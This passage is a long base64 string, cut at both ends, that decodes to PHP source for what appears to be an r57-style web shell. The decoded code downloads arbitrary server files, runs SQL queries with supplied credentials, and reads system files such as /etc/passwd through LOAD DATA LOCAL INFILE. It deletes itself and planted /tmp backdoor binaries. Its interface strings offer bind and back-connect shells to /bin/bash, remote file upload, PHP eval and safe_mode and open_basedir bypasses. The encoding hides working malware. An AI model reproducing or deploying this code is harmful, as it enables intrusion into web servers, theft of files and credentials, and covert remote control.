1Y3Rpb24nOw0KICAgIGJyZWFrOw0KICAgIGRlZmF1bHQ6DQogICAgIHJldHVybiAwOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAxOw0KICB9DQogZnVuY3Rpb24gY2xvc2UoKQ0KICB7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAgCSBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgQHBnX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4gQHBnX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgcmV0dXJuIEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkNCiB7DQogIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydkX25hbWUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogIGVsc2UNCiAgIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7DQogICAgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2RfbmFtZSddKSk7DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOw0KICAgIGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsNCiAgICBpZiAoIWVtcHR5KCRjb250ZW50X2VuY29kaW5nKSkgeyBoZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6ICcgLiAkY29udGVudF9lbmNvZGluZyk7IH0NCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kbWltZV90eXBlKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZmlsZW5hbWUuIlwiOyIpOw0KICAgIGVjaG8gJGZpbGVkdW1wOw0KICAgIGV4aXQoKTsNCiAgIH0NCiB9DQppZihpc3NldCgkX0dFVFsncGhwaW5mbyddKSkgeyBlY2hvIEBwaHBpbmZvKCk7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQppZiAoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkYl9xdWVyeSIpDQogew0KIGVjaG8gJGhlYWQ7DQogJHNxbCA9IG5ldyBteV9zcWwoKTsNCiAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOw0KICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiAkc3FsLT51c2VyID0gJF9QT1NUWydteXNxbF9sJ107DQogJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107DQogJHF1ZXJ5cyA9IEBleHBsb2RlKCc7JywkX1BPU1RbJ2RiX3F1ZXJ5J10pOw0KIGVjaG8gJzxib2R5IGJnY29sb3I9QmxhY2s+JzsNCiBpZighJHNxbC0+Y29ubmVjdCgpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5DYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7DQogIGVsc2UNCiAgIHsNCiAgIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5DYW4ndCBzZWxlY3QgZGF0YWJhc2U8L2I+PC9mb250PjwvZGl2PiI7DQogICBlbHNlDQogICAgew0KICAgIGZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpDQogICAgIHsNCiAgICAgIGlmKHN0cmxlbigkcXVlcnkpPjUpDQogICAgICB7DQogICAgICBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5RdWVyeSMiLiRudW0uIiA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L2ZvbnQ+PGJyPiI7DQogICAgICBzd2l0Y2goJHNxbC0+cXVlcnkoJHF1ZXJ5KSkNCiAgICAgICB7DQogICAgICAgY2FzZSAnMCc6DQogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPkVycm9yIDogPGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgIGJyZWFrOw0KICAgICAgIGNhc2UgJzEnOg0KICAgICAgIGlmKCRzcWwtPmdldF9yZXN1bHQoKSkNCiAgICAgICAgew0KICAgICAgIAllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBib3JkZXI9MCBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+IjsNCiAgICAgICAgZm9yZWFjaCgkc3FsLT5jb2x1bW5zIGFzICRrPT4kdikgJHNxbC0+Y29sdW1uc1ska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOw0KICAgICAgIAkka2V5cyA9IEBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7IiwgJHNxbC0+Y29sdW1ucyk7DQogICAgICAgIGVjaG8gIjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPVdoaXRlPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7DQogICAgICAgIGZvcigkaT0wOyRpPCRzcWwtPm51bV9yb3dzOyRpKyspDQogICAgICAgICB7DQogICAgICAgICBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAgICR2YWx1ZXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7DQogICAgICAgICBlY2hvICc8dHI+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgIGJyZWFrOw0KICAgICAgIGNhc2UgJzInOg0KICAgICAgICRhciA9ICRzcWwtPmFmZmVjdGVkX3Jvd3MoKT8oJHNxbC0+YWZmZWN0ZWRfcm93cygpKTooJzAnKTsNCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+YWZmZWN0ZWQgcm93cyA6IDxiPiIuJGFyLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgICAgIGJyZWFrOw0KICAgICAgIH0NCiAgICAgIH0NCiAgICAgfQ0KICAgIH0NCiAgICBlY2hvICI8YnI+PGRpdiBhbGlnbj1sZWZ0IGlkPSduJz48dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9NjAgYm9yZGVyPTAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7DQogICAgZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+U2hvdyBEYXRhYmFzZTwvYj48L3RkPjx0ZCBhbGlnbj1jZW50ZXI+PGI+U2hvdyBUYWJsZXM8L2I+PC90ZD48L3RyPiI7DQogICAgZWNobyAiPHRyPjx0ZD48dGV4dGFyZWEgY29scz01MCByb3dzPTYgbmFtZT1xdWVyeV9kYj4iOw0KICAgICRxdWVyeV9kYiA9IG15c3FsX3F1ZXJ5KCJTSE9XIERBVEFCQVNFUzsiKTsNCiAgICB3aGlsZSAoJHF1ZXJ5X2RiX3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9kYikpDQogICAgew0KICAgIAllY2hvICRxdWVyeV9kYl9yb3dbMF0uIlxuIjsNCiAgICB9DQogICAgZWNobyAiPC90ZXh0YXJlYT48L3RkPjx0ZD48ZGl2IGFsaWduPXJpZ2h0Pjx0ZXh0YXJlYSBjb2xzPTYwIHJvd3M9NiBuYW1lPXF1ZXJ5X3RhYmxlcz4iOw0KICAgIGlmICgoJF9QT1NUWydteXNxbF9kYiddKSAmJiAkc3FsLT5zZWxlY3RfZGIoKSkNCiAgICB7DQogICAgICRxdWVyeV90YWJsZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVM7Iik7DQogICAgIHdoaWxlICgkcXVlcnlfdGFibGVzX3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV90YWJsZXMpKQ0KICAgICB7DQogICAgIAllY2hvICRxdWVyeV90YWJsZXNfcm93WzBdLiJcbiI7DQogICAgIH0NCiAgICB9DQogICAgZWNobyAiPC90ZXh0YXJlYT48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj4iOw0KICAgfQ0KIGVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYicsMCwkX1BPU1RbJ2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2RiX3NlcnZlcicsMCwkX1BPU1RbJ2RiX3NlcnZlciddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9sJywwLCRfUE9TVFsnbXlzcWxfbCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9wJywwLCRfUE9TVFsnbXlzcWxfcCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKTsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iOw0KIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlVzZSBkYXRhYmFzZTogPC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1teXNxbF9kYiB2YWx1ZT1cIiIuJHNxbC0+YmFzZS4iXCI+PC9mb250Pjxicj4iOw0KIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOw0KIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkxvYWQgZmlsZTogPC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2FkZmlsZSBzaXplPTEwMCB2YWx1ZT0iLighZW1wdHkoJF9QT1NUWydsb2FkZmlsZSddKT8oJF9QT1NUWydsb2FkZmlsZSddKTooIi9ldGMvcGFzc3dkIikpLiI+Ii53cygyKS4iPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIExvYWQgXCI+PGJyIC8+PGJyIC8+IjsNCiBlY2hvICI8Yj5GaWxlIGNvbnRlbnQ8L2I+PGJyPjxicj4iOw0KIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTEyMSByb3dzPTE1IG5hbWU9c2hvd2xvYWRmaWxlPiI7DQogQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBBbHVjYXIiKTsNCiBAbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgQWx1Y2FyYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApIik7DQogQG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFIFwiIi5zdHJfcmVwbGFjZSgnXFwnLCcvJywkX1BPU1RbJ2xvYWRmaWxlJ10pLiJcIiBJTlRPIFRBQkxFIEFsdWNhciBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ1xuJyIpOw0KICRyID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIEFsdWNhciIpOw0KIHdoaWxlKCgkcl9zcWwgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHIpKSkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRyX3NxbFswXSk7IH0NCiBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIEFsdWNhciIpOw0KIGVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+IjsNCiBlY2hvICI8L2Zvcm0+IjsNCiBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnZGVsZXRlJ10pKQ0KIHsNCiAgIEB1bmxpbmsoX19GSUxFX18pOw0KIH0NCmlmKGlzc2V0KCRfR0VUWyd0bXAnXSkpDQogew0KICAgQHVubGluaygiL3RtcC9iZHBsIik7DQogICBAdW5saW5rKCIvdG1wL2JhY2siKTsNCiAgIEB1bmxpbmsoIi90bXAvYmQiKTsNCiAgIEB1bmxpbmsoIi90bXAvYmQuYyIpOw0KICAgQHVubGluaygiL3RtcC9kcCIpOw0KICAgQHVubGluaygiL3RtcC9kcGMiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHBjLmMiKTsNCiB9DQppZihpc3NldCgkX0dFVFsncGhwaW5pJ10pKQ0Kew0KZWNobyAkaGVhZDsNCmZ1bmN0aW9uIFVfdmFsdWUoJHZhbHVlKQ0KIHsNCiBpZiAoJHZhbHVlID09ICcnKSByZXR1cm4gJzxpPm5vIHZhbHVlPC9pPic7DQogaWYgKEBpc19ib29sKCR2YWx1ZSkpIHJldHVybiAkdmFsdWUgPyAnVFJVRScgOiAnRkFMU0UnOw0KIGlmICgkdmFsdWUgPT09IG51bGwpIHJldHVybiAnTlVMTCc7DQogaWYgKEBpc19vYmplY3QoJHZhbHVlKSkgJHZhbHVlID0gKGFycmF5KSAkdmFsdWU7DQogaWYgKEBpc19hcnJheSgkdmFsdWUpKQ0KIHsNCiBAb2Jfc3RhcnQoKTsNCiBwcmludF9yKCR2YWx1ZSk7DQogJHZhbHVlID0gQG9iX2dldF9jb250ZW50cygpOw0KIEBvYl9lbmRfY2xlYW4oKTsNCiB9DQogcmV0dXJuIFVfd29yZHdyYXAoKHN0cmluZykgJHZhbHVlKTsNCiB9DQpmdW5jdGlvbiBVX3dvcmR3cmFwKCRzdHIpDQogew0KICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsNCiByZXR1cm4gQHByZWdfcmVwbGFjZSgnISgmW147XSopPHdiciAvPihbXjtdKjspIScsICckMSQyPHdiciAvPicsICRzdHIpOw0KIH0NCmlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKQ0KIHsNCiAkciA9ICcnOw0KIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPicsICc8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2VudGVyPjxiPkRpcmVjdGl2ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPSM4M2M4MDk+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGRpdiBhbGlnbj1jZW50ZXI+PGI+TG9jYWwgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2VudGVyPjxiPk1hc3RlciBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogZm9yZWFjaCAoQGluaV9nZXRfYWxsKCkgYXMgJGtleT0+JHZhbHVlKQ0KICB7DQogICRyIC49ICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy4ka2V5Lic8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydnbG9iYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogIH0NCiBlY2hvICRyOw0KIGVjaG8gJzwvdGFibGU+JzsNCiB9DQplY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KZGllKCk7DQp9DQppZihpc3NldCgkX0dFVFsnY3B1J10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5DUFU8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkY3B1ZiA9IEBmaWxlKCJjcHVpbmZvIik7DQogICBpZigkY3B1ZikNCiAgICB7DQogICAgICAkYyA9IEBzaXplb2YoJGNwdWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0gQGV4cGxvZGUoIjoiLCRjcHVmWyRpXSk7DQogICAgICAgICAgaWYoJGluZm9bMV09PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0NCiAgICAgICAgICAkciAuPSAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwvYj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLnRyaW0oJGluZm9bMV0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KICAgICAgICB9DQogICAgICBlY2hvICRyOw0KICAgIH0NCiAgIGVsc2UNCiAgICB7DQogICAgICBlY2hvICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOw0KICAgIH0NCiAgIGVjaG8gJzwvdGFibGU+JzsNCiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnbWVtJ10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5NRU1PUlk8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkbWVtZiA9IEBmaWxlKCJtZW1pbmZvIik7DQogICBpZigkbWVtZikNCiAgICB7DQogICAgICAkYyA9IHNpemVvZigkbWVtZik7DQogICAgICBmb3IoJGk9MDskaTwkYzskaSsrKQ0KICAgICAgICB7DQogICAgICAgICAgJGluZm8gPSBleHBsb2RlKCI6IiwkbWVtZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZGllKCk7DQogfQ0KJGxhbmc9YXJyYXkoDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCidlbmdfdGV4dDEnID0+J0V4ZWN1dGVkIGNvbW1hbmQnLA0KJ2VuZ190ZXh0MicgPT4nRXhlY3V0ZSBjb21tYW5kIG9uIHNlcnZlcicsDQonZW5nX3RleHQzJyA9PidSdW4gY29tbWFuZCcsDQonZW5nX3RleHQ0JyA9PidXb3JrIGRpcmVjdG9yeScsDQonZW5nX3RleHQ1JyA9PidVcGxvYWQgZmlsZXMgb24gc2VydmVyJywNCidlbmdfdGV4dDYnID0+J0xvY2FsIGZpbGUnLA0KJ2VuZ190ZXh0NycgPT4nQWxpYXNlcycsDQonZW5nX3RleHQ4JyA9PidTZWxlY3QgYWxpYXMnLA0KJ2VuZ19idXR0MScgPT4nRXhlY3V0ZScsDQonZW5nX2J1dHQyJyA9PidVcGxvYWQnLA0KJ2VuZ190ZXh0OScgPT4nQmluZCBwb3J0IHRvIC9iaW4vYmFzaCcsDQonZW5nX3RleHQxMCc9PidQb3J0JywNCidlbmdfdGV4dDExJz0+J1Bhc3N3b3JkIGZvciBhY2Nlc3MnLA0KJ2VuZ19idXR0MycgPT4nQmluZCcsDQonZW5nX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLA0KJ2VuZ190ZXh0MTMnPT4nSVAnLA0KJ2VuZ190ZXh0MTQnPT4nUG9ydCcsDQonZW5nX2J1dHQ0JyA9PidDb25uZWN0JywNCidlbmdfdGV4dDE1Jz0+J1VwbG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTYnPT4nV2l0aCcsDQonZW5nX3RleHQxNyc9PidSZW1vdGUgZmlsZScsDQonZW5nX3RleHQxOCc9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDE5Jz0+J0V4cGxvaXRzJywNCidlbmdfdGV4dDIwJz0+J1VzZScsDQonZW5nX3RleHQyMSc9PicmbmJzcDtOZXcgbmFtZScsDQonZW5nX3RleHQyMic9PidkYXRhcGlwZScsDQonZW5nX3RleHQyMyc9PidMb2NhbCBwb3J0JywNCidlbmdfdGV4dDI0Jz0+J1JlbW90ZSBob3N0JywNCidlbmdfdGV4dDI1Jz0+J1JlbW90ZSBwb3J0JywNCidlbmdfdGV4dDI2Jz0+J1VzZScsDQonZW5nX2J1dHQ1JyA9PidSdW4nLA0KJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLA0KJ2VuZ190ZXh0MjknPT4nQUNDRVNTIERFTklFRCcsDQonZW5nX2J1dHQ2JyA9PidDaGFuZ2UnLA0KJ2VuZ190ZXh0MzAnPT4nQ2F0IGZpbGUnLA0KJ2VuZ19idXR0NycgPT4nU2hvdycsDQonZW5nX3RleHQzMSc9PidGaWxlIG5vdCBmb3VuZCcsDQonZW5nX3RleHQzMic9PidFdmFsIFBIUCBjb2RlJywNCidlbmdfdGV4dDMzJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciB3aXRoIGNVUkwgZnVuY3Rpb25zJywNCidlbmdfYnV0dDgnID0+J1Rlc3QnLA0KJ2VuZ190ZXh0MzQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggaW5jbHVkZSBmdW5